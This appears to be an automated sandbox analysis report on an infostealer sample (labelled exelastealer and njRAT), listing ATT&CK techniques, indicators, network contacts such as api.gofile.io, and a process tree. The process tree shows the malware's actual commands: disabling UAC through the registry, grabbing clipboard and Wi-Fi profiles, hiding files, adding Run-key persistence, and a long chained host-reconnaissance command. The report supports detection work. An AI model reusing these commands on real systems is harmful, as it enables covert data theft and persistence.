exelastealer | a7deeabed9261564ba79c04d3909539ec31bada0b1c4e16755d759f742fb9818

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1880	netsh.exe
4900	netsh.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	3339f240ffeb755b2f4874cbd4d0bbf7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	Payload.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	dllhost.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2464	cmd.exe
4516	powershell.exe

Deletes itself 1 IoCs

pid	Process
2740	dfwx.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\caa5ab06fdce65c809c563c98d39620a.exe	dllhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\caa5ab06fdce65c809c563c98d39620a.exe	dllhost.exe

Executes dropped EXE 8 IoCs

pid	Process
4748	dfwx.exe
1440	Payload.exe
2740	dfwx.exe
3916	dllhost.exe
4364	dllhost.exe
1136	621f140e1399434bae08220e59c4c85e.exe
3952	ee6e661140f94a8eab58f8a8993647f5.exe
452	dllhost.exe

Loads dropped DLL 27 IoCs

pid	Process
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe
2740	dfwx.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\caa5ab06fdce65c809c563c98d39620a = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\caa5ab06fdce65c809c563c98d39620a = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
22	api.gofile.io
23	api.gofile.io
53	api.gofile.io

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
2252	ARP.EXE
4104	cmd.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

persistence privilege_escalation

Process Discovery

T1057

pid	Process
3944	tasklist.exe
2000	tasklist.exe
1864	tasklist.exe
376	tasklist.exe
4432	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2544	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000240d4-113.dat	upx
behavioral2/memory/2740-119-0x00007FFFEA4D0000-0x00007FFFEAAB8000-memory.dmp	upx
behavioral2/files/0x000500000001e449-125.dat	upx
behavioral2/memory/2740-127-0x00007FFFFBF60000-0x00007FFFFBF84000-memory.dmp	upx
behavioral2/files/0x00070000000240cc-126.dat	upx
behavioral2/memory/2740-174-0x00007FF8015F0000-0x00007FF8015FF000-memory.dmp	upx
behavioral2/files/0x000400000001dab1-173.dat	upx
behavioral2/files/0x00070000000240d8-172.dat	upx
behavioral2/files/0x00070000000240d6-171.dat	upx
behavioral2/memory/2740-176-0x00007FFFFB240000-0x00007FFFFB26D000-memory.dmp	upx
behavioral2/memory/2740-178-0x00007FFFFDC70000-0x00007FFFFDC7D000-memory.dmp	upx
behavioral2/memory/2740-177-0x00007FFFFB220000-0x00007FFFFB239000-memory.dmp	upx
behavioral2/memory/2740-175-0x00007FF801510000-0x00007FF801529000-memory.dmp	upx
behavioral2/files/0x00070000000240d5-170.dat	upx
behavioral2/memory/2740-181-0x00007FFFFB1F0000-0x00007FFFFB213000-memory.dmp	upx
behavioral2/memory/2740-182-0x00007FFFFB1C0000-0x00007FFFFB1EE000-memory.dmp	upx
behavioral2/memory/2740-189-0x00007FFFFA840000-0x00007FFFFA854000-memory.dmp	upx
behavioral2/memory/2740-188-0x00007FFFFAF80000-0x00007FFFFAF92000-memory.dmp	upx
behavioral2/memory/2740-192-0x00007FFFEA3B0000-0x00007FFFEA4CC000-memory.dmp	upx
behavioral2/memory/2740-191-0x00007FFFFA7C0000-0x00007FFFFA7E2000-memory.dmp	upx
behavioral2/memory/2740-190-0x00007FFFEA4D0000-0x00007FFFEAAB8000-memory.dmp	upx
behavioral2/memory/2740-194-0x00007FFFFA2A0000-0x00007FFFFA2BB000-memory.dmp	upx
behavioral2/memory/2740-193-0x00007FFFFBF60000-0x00007FFFFBF84000-memory.dmp	upx
behavioral2/memory/2740-195-0x00007FFFFC000000-0x00007FFFFC00A000-memory.dmp	upx
behavioral2/memory/2740-187-0x00007FFFFAFA0000-0x00007FFFFAFB5000-memory.dmp	upx
behavioral2/memory/2740-186-0x00007FFFE9B50000-0x00007FFFE9CC3000-memory.dmp	upx
behavioral2/memory/2740-185-0x00007FFFFA860000-0x00007FFFFA874000-memory.dmp	upx
behavioral2/memory/2740-184-0x00007FFFFB090000-0x00007FFFFB148000-memory.dmp	upx
behavioral2/memory/2740-183-0x00007FFFE97D0000-0x00007FFFE9B45000-memory.dmp	upx
behavioral2/files/0x00070000000240d2-169.dat	upx
behavioral2/files/0x00070000000240cd-168.dat	upx
behavioral2/files/0x00070000000240cb-167.dat	upx
behavioral2/memory/2740-196-0x00007FFFE8FD0000-0x00007FFFE97CE000-memory.dmp	upx
behavioral2/memory/2740-197-0x00007FFFF22B0000-0x00007FFFF22E7000-memory.dmp	upx
behavioral2/memory/2740-203-0x00007FFFFB220000-0x00007FFFFB239000-memory.dmp	upx
behavioral2/memory/2740-212-0x00007FFFE97D0000-0x00007FFFE9B45000-memory.dmp	upx
behavioral2/memory/2740-250-0x00007FFFFAF70000-0x00007FFFFAF7D000-memory.dmp	upx
behavioral2/memory/2740-268-0x00007FFFFAF80000-0x00007FFFFAF92000-memory.dmp	upx
behavioral2/memory/2740-267-0x00007FFFFAFA0000-0x00007FFFFAFB5000-memory.dmp	upx
behavioral2/memory/2740-266-0x00007FFFE9B50000-0x00007FFFE9CC3000-memory.dmp	upx
behavioral2/memory/2740-279-0x00007FFFEA3B0000-0x00007FFFEA4CC000-memory.dmp	upx
behavioral2/memory/2740-310-0x00007FFFFAF70000-0x00007FFFFAF7D000-memory.dmp	upx
behavioral2/memory/2740-311-0x00007FFFE8FD0000-0x00007FFFE97CE000-memory.dmp	upx
behavioral2/memory/2740-300-0x00007FFFFAFA0000-0x00007FFFFAFB5000-memory.dmp	upx
behavioral2/memory/2740-289-0x00007FFFFBF60000-0x00007FFFFBF84000-memory.dmp	upx
behavioral2/memory/2740-309-0x00007FFFF22B0000-0x00007FFFF22E7000-memory.dmp	upx
behavioral2/memory/2740-288-0x00007FFFEA4D0000-0x00007FFFEAAB8000-memory.dmp	upx
behavioral2/memory/2740-329-0x00007FFFEA4D0000-0x00007FFFEAAB8000-memory.dmp	upx
behavioral2/memory/2740-340-0x00007FFFFB090000-0x00007FFFFB148000-memory.dmp	upx
behavioral2/memory/2740-341-0x00007FFFFAFA0000-0x00007FFFFAFB5000-memory.dmp	upx
behavioral2/memory/2740-339-0x00007FFFE97D0000-0x00007FFFE9B45000-memory.dmp	upx
behavioral2/memory/2740-338-0x00007FFFFB1C0000-0x00007FFFFB1EE000-memory.dmp	upx
behavioral2/memory/2740-353-0x00007FFFEA4D0000-0x00007FFFEAAB8000-memory.dmp	upx
behavioral2/memory/2740-621-0x00007FFFFB220000-0x00007FFFFB239000-memory.dmp	upx
behavioral2/memory/2740-628-0x00007FFFFA2A0000-0x00007FFFFA2BB000-memory.dmp	upx
behavioral2/memory/2740-635-0x00007FFFFAF70000-0x00007FFFFAF7D000-memory.dmp	upx
behavioral2/memory/2740-634-0x00007FFFF22B0000-0x00007FFFF22E7000-memory.dmp	upx
behavioral2/memory/2740-633-0x00007FFFE8FD0000-0x00007FFFE97CE000-memory.dmp	upx
behavioral2/memory/2740-632-0x00007FFFFC000000-0x00007FFFFC00A000-memory.dmp	upx
behavioral2/memory/2740-631-0x00007FFFFB090000-0x00007FFFFB148000-memory.dmp	upx
behavioral2/memory/2740-630-0x00007FFFE97D0000-0x00007FFFE9B45000-memory.dmp	upx
behavioral2/memory/2740-629-0x00007FFFFA860000-0x00007FFFFA874000-memory.dmp	upx
behavioral2/memory/2740-627-0x00007FFFEA3B0000-0x00007FFFEA4CC000-memory.dmp	upx
behavioral2/memory/2740-626-0x00007FFFFA840000-0x00007FFFFA854000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
464	sc.exe
4116	sc.exe
2040	sc.exe
2352	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000700000001da09-7.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
3424	cmd.exe
3920	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

pid	Process
5112	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
4712	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
4712	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2112	ipconfig.exe
5112	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3892	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1596	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe
1440	Payload.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	Payload.exe
Token: SeIncreaseQuotaPrivilege	3216	WMIC.exe
Token: SeSecurityPrivilege	3216	WMIC.exe
Token: SeTakeOwnershipPrivilege	3216	WMIC.exe
Token: SeLoadDriverPrivilege	3216	WMIC.exe
Token: SeSystemProfilePrivilege	3216	WMIC.exe
Token: SeSystemtimePrivilege	3216	WMIC.exe
Token: SeProfSingleProcessPrivilege	3216	WMIC.exe
Token: SeIncBasePriorityPrivilege	3216	WMIC.exe
Token: SeCreatePagefilePrivilege	3216	WMIC.exe
Token: SeBackupPrivilege	3216	WMIC.exe
Token: SeRestorePrivilege	3216	WMIC.exe
Token: SeShutdownPrivilege	3216	WMIC.exe
Token: SeDebugPrivilege	3216	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3216	WMIC.exe
Token: SeRemoteShutdownPrivilege	3216	WMIC.exe
Token: SeUndockPrivilege	3216	WMIC.exe
Token: SeManageVolumePrivilege	3216	WMIC.exe
Token: 33	3216	WMIC.exe
Token: 34	3216	WMIC.exe
Token: 35	3216	WMIC.exe
Token: 36	3216	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4712	WMIC.exe
Token: SeSecurityPrivilege	4712	WMIC.exe
Token: SeTakeOwnershipPrivilege	4712	WMIC.exe
Token: SeLoadDriverPrivilege	4712	WMIC.exe
Token: SeSystemProfilePrivilege	4712	WMIC.exe
Token: SeSystemtimePrivilege	4712	WMIC.exe
Token: SeProfSingleProcessPrivilege	4712	WMIC.exe
Token: SeIncBasePriorityPrivilege	4712	WMIC.exe
Token: SeCreatePagefilePrivilege	4712	WMIC.exe
Token: SeBackupPrivilege	4712	WMIC.exe
Token: SeRestorePrivilege	4712	WMIC.exe
Token: SeShutdownPrivilege	4712	WMIC.exe
Token: SeDebugPrivilege	4712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4712	WMIC.exe
Token: SeRemoteShutdownPrivilege	4712	WMIC.exe
Token: SeUndockPrivilege	4712	WMIC.exe
Token: SeManageVolumePrivilege	4712	WMIC.exe
Token: 33	4712	WMIC.exe
Token: 34	4712	WMIC.exe
Token: 35	4712	WMIC.exe
Token: 36	4712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4712	WMIC.exe
Token: SeSecurityPrivilege	4712	WMIC.exe
Token: SeTakeOwnershipPrivilege	4712	WMIC.exe
Token: SeLoadDriverPrivilege	4712	WMIC.exe
Token: SeSystemProfilePrivilege	4712	WMIC.exe
Token: SeSystemtimePrivilege	4712	WMIC.exe
Token: SeProfSingleProcessPrivilege	4712	WMIC.exe
Token: SeIncBasePriorityPrivilege	4712	WMIC.exe
Token: SeCreatePagefilePrivilege	4712	WMIC.exe
Token: SeBackupPrivilege	4712	WMIC.exe
Token: SeRestorePrivilege	4712	WMIC.exe
Token: SeShutdownPrivilege	4712	WMIC.exe
Token: SeDebugPrivilege	4712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4712	WMIC.exe
Token: SeRemoteShutdownPrivilege	4712	WMIC.exe
Token: SeUndockPrivilege	4712	WMIC.exe
Token: SeManageVolumePrivilege	4712	WMIC.exe
Token: 33	4712	WMIC.exe
Token: 34	4712	WMIC.exe
Token: 35	4712	WMIC.exe
Token: 36	4712	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4748	4456	3339f240ffeb755b2f4874cbd4d0bbf7.exe	88
PID 4456 wrote to memory of 4748	4456	3339f240ffeb755b2f4874cbd4d0bbf7.exe	88
PID 4456 wrote to memory of 1440	4456	3339f240ffeb755b2f4874cbd4d0bbf7.exe	89
PID 4456 wrote to memory of 1440	4456	3339f240ffeb755b2f4874cbd4d0bbf7.exe	89
PID 4748 wrote to memory of 2740	4748	dfwx.exe	90
PID 4748 wrote to memory of 2740	4748	dfwx.exe	90
PID 2740 wrote to memory of 1184	2740	dfwx.exe	91
PID 2740 wrote to memory of 1184	2740	dfwx.exe	91
PID 2740 wrote to memory of 4568	2740	dfwx.exe	92
PID 2740 wrote to memory of 4568	2740	dfwx.exe	92
PID 2740 wrote to memory of 3048	2740	dfwx.exe	93
PID 2740 wrote to memory of 3048	2740	dfwx.exe	93
PID 4568 wrote to memory of 3216	4568	cmd.exe	97
PID 4568 wrote to memory of 3216	4568	cmd.exe	97
PID 1184 wrote to memory of 4712	1184	cmd.exe	143
PID 1184 wrote to memory of 4712	1184	cmd.exe	143
PID 2740 wrote to memory of 4212	2740	dfwx.exe	99
PID 2740 wrote to memory of 4212	2740	dfwx.exe	99
PID 2740 wrote to memory of 1780	2740	dfwx.exe	100
PID 2740 wrote to memory of 1780	2740	dfwx.exe	100
PID 1780 wrote to memory of 376	1780	cmd.exe	103
PID 1780 wrote to memory of 376	1780	cmd.exe	103
PID 2740 wrote to memory of 5064	2740	dfwx.exe	151
PID 2740 wrote to memory of 5064	2740	dfwx.exe	151
PID 5064 wrote to memory of 5012	5064	cmd.exe	107
PID 5064 wrote to memory of 5012	5064	cmd.exe	107
PID 2740 wrote to memory of 4840	2740	dfwx.exe	108
PID 2740 wrote to memory of 4840	2740	dfwx.exe	108
PID 2740 wrote to memory of 5000	2740	dfwx.exe	109
PID 2740 wrote to memory of 5000	2740	dfwx.exe	109
PID 4840 wrote to memory of 2112	4840	cmd.exe	158
PID 4840 wrote to memory of 2112	4840	cmd.exe	158
PID 5000 wrote to memory of 4432	5000	cmd.exe	113
PID 5000 wrote to memory of 4432	5000	cmd.exe	113
PID 2740 wrote to memory of 2544	2740	dfwx.exe	114
PID 2740 wrote to memory of 2544	2740	dfwx.exe	114
PID 2544 wrote to memory of 1284	2544	cmd.exe	116
PID 2544 wrote to memory of 1284	2544	cmd.exe	116
PID 2740 wrote to memory of 5004	2740	dfwx.exe	117
PID 2740 wrote to memory of 5004	2740	dfwx.exe	117
PID 5004 wrote to memory of 3944	5004	cmd.exe	119
PID 5004 wrote to memory of 3944	5004	cmd.exe	119
PID 2740 wrote to memory of 1212	2740	dfwx.exe	120
PID 2740 wrote to memory of 1212	2740	dfwx.exe	120
PID 2740 wrote to memory of 2764	2740	dfwx.exe	121
PID 2740 wrote to memory of 2764	2740	dfwx.exe	121
PID 2740 wrote to memory of 1476	2740	dfwx.exe	122
PID 2740 wrote to memory of 1476	2740	dfwx.exe	122
PID 2740 wrote to memory of 2464	2740	dfwx.exe	123
PID 2740 wrote to memory of 2464	2740	dfwx.exe	123
PID 1476 wrote to memory of 2000	1476	cmd.exe	128
PID 1476 wrote to memory of 2000	1476	cmd.exe	128
PID 2764 wrote to memory of 400	2764	cmd.exe	129
PID 2764 wrote to memory of 400	2764	cmd.exe	129
PID 2464 wrote to memory of 4516	2464	cmd.exe	130
PID 2464 wrote to memory of 4516	2464	cmd.exe	130
PID 400 wrote to memory of 3284	400	cmd.exe	131
PID 400 wrote to memory of 3284	400	cmd.exe	131
PID 1212 wrote to memory of 3804	1212	cmd.exe	132
PID 1212 wrote to memory of 3804	1212	cmd.exe	132
PID 3804 wrote to memory of 592	3804	cmd.exe	133
PID 3804 wrote to memory of 592	3804	cmd.exe	133
PID 2740 wrote to memory of 3424	2740	dfwx.exe	134
PID 2740 wrote to memory of 3424	2740	dfwx.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1284	attrib.exe
2292	attrib.exe

C:\Users\Admin\AppData\Local\Temp\3339f240ffeb755b2f4874cbd4d0bbf7.exe
"C:\Users\Admin\AppData\Local\Temp\3339f240ffeb755b2f4874cbd4d0bbf7.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Users\Admin\AppData\Local\Temp\dfwx.exe
  "C:\Users\Admin\AppData\Local\Temp\dfwx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Users\Admin\AppData\Local\Temp\dfwx.exe
    "C:\Users\Admin\AppData\Local\Temp\dfwx.exe"
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1184
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:4712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4568
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:3048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      PID:4212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1780
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5064
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        
        PID:5012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4840
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:2112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5000
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\DfwxUpdateService\dfwx.exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\DfwxUpdateService\dfwx.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1212
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3804
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:400
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:3284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:2000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious use of WriteProcessMemory
      PID:2464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3424
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
      4⤵
      Network Service Discovery
      PID:4104
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:3892
    - - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        5⤵
        
        PID:3196
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        5⤵
        Collects information from the system
        
        PID:4712
    - - C:\Windows\system32\net.exe
        
        net user
        5⤵
        
        PID:1764
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        6⤵
        
        PID:2780
    - - C:\Windows\system32\query.exe
        
        query user
        5⤵
        
        PID:2824
      - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        6⤵
        
        PID:3812
    - - C:\Windows\system32\net.exe
        
        net localgroup
        5⤵
        
        PID:3472
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        6⤵
        
        PID:556
    - - C:\Windows\system32\net.exe
        
        net localgroup administrators
        5⤵
        
        PID:1952
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        6⤵
        
        PID:5064
    - - C:\Windows\system32\net.exe
        
        net user guest
        5⤵
        
        PID:1300
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
